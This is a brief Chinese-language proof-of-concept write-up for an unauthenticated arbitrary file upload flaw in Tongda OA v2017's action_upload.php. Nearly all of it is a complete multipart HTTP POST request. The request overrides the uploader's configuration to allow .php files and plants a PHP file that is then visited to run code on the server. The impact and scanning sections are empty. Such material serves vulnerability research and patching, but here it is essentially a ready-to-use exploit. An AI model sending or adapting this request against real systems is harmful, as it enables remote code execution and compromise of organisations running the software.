# 通达OA v2017 action_upload.php 任意文件上传漏洞
# 漏洞描述
通达OA v2017 action_upload.php 文件过滤不足且无需后台权限，导致任意文件上传漏洞
# 漏洞影响
# 网络测绘
# 漏洞复现
访问获取版本信息
发送请求包上传任意文件
POST /module/ueditor/php/action_upload.php?action=uploadfile HTTP/1.1
Host:
User-Agent: Go-http-client/1.1
Content-Length: 893
Content-Type: multipart/form-data; boundary=---------------------------55719851240137822763221368724
X_requested_with: XMLHttpRequest
Accept-Encoding: gzip
-----------------------------55719851240137822763221368724
Content-Disposition: form-data; name="CONFIG[fileFieldName]"
ffff
-----------------------------55719851240137822763221368724
Content-Disposition: form-data; name="CONFIG[fileMaxSize]"
1000000000
-----------------------------55719851240137822763221368724
Content-Disposition: form-data; name="CONFIG[filePathFormat]"
tcmd
-----------------------------55719851240137822763221368724
Content-Disposition: form-data; name="CONFIG[fileAllowFiles][]"
.php
-----------------------------55719851240137822763221368724
Content-Disposition: form-data; name="ffff"; filename="test.php"
Content-Type: application/octet-stream
<?php phpinfo();?>
-----------------------------55719851240137822763221368724
Content-Disposition: form-data; name="mufile"
submit
-----------------------------55719851240137822763221368724--
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再访问上传的文件
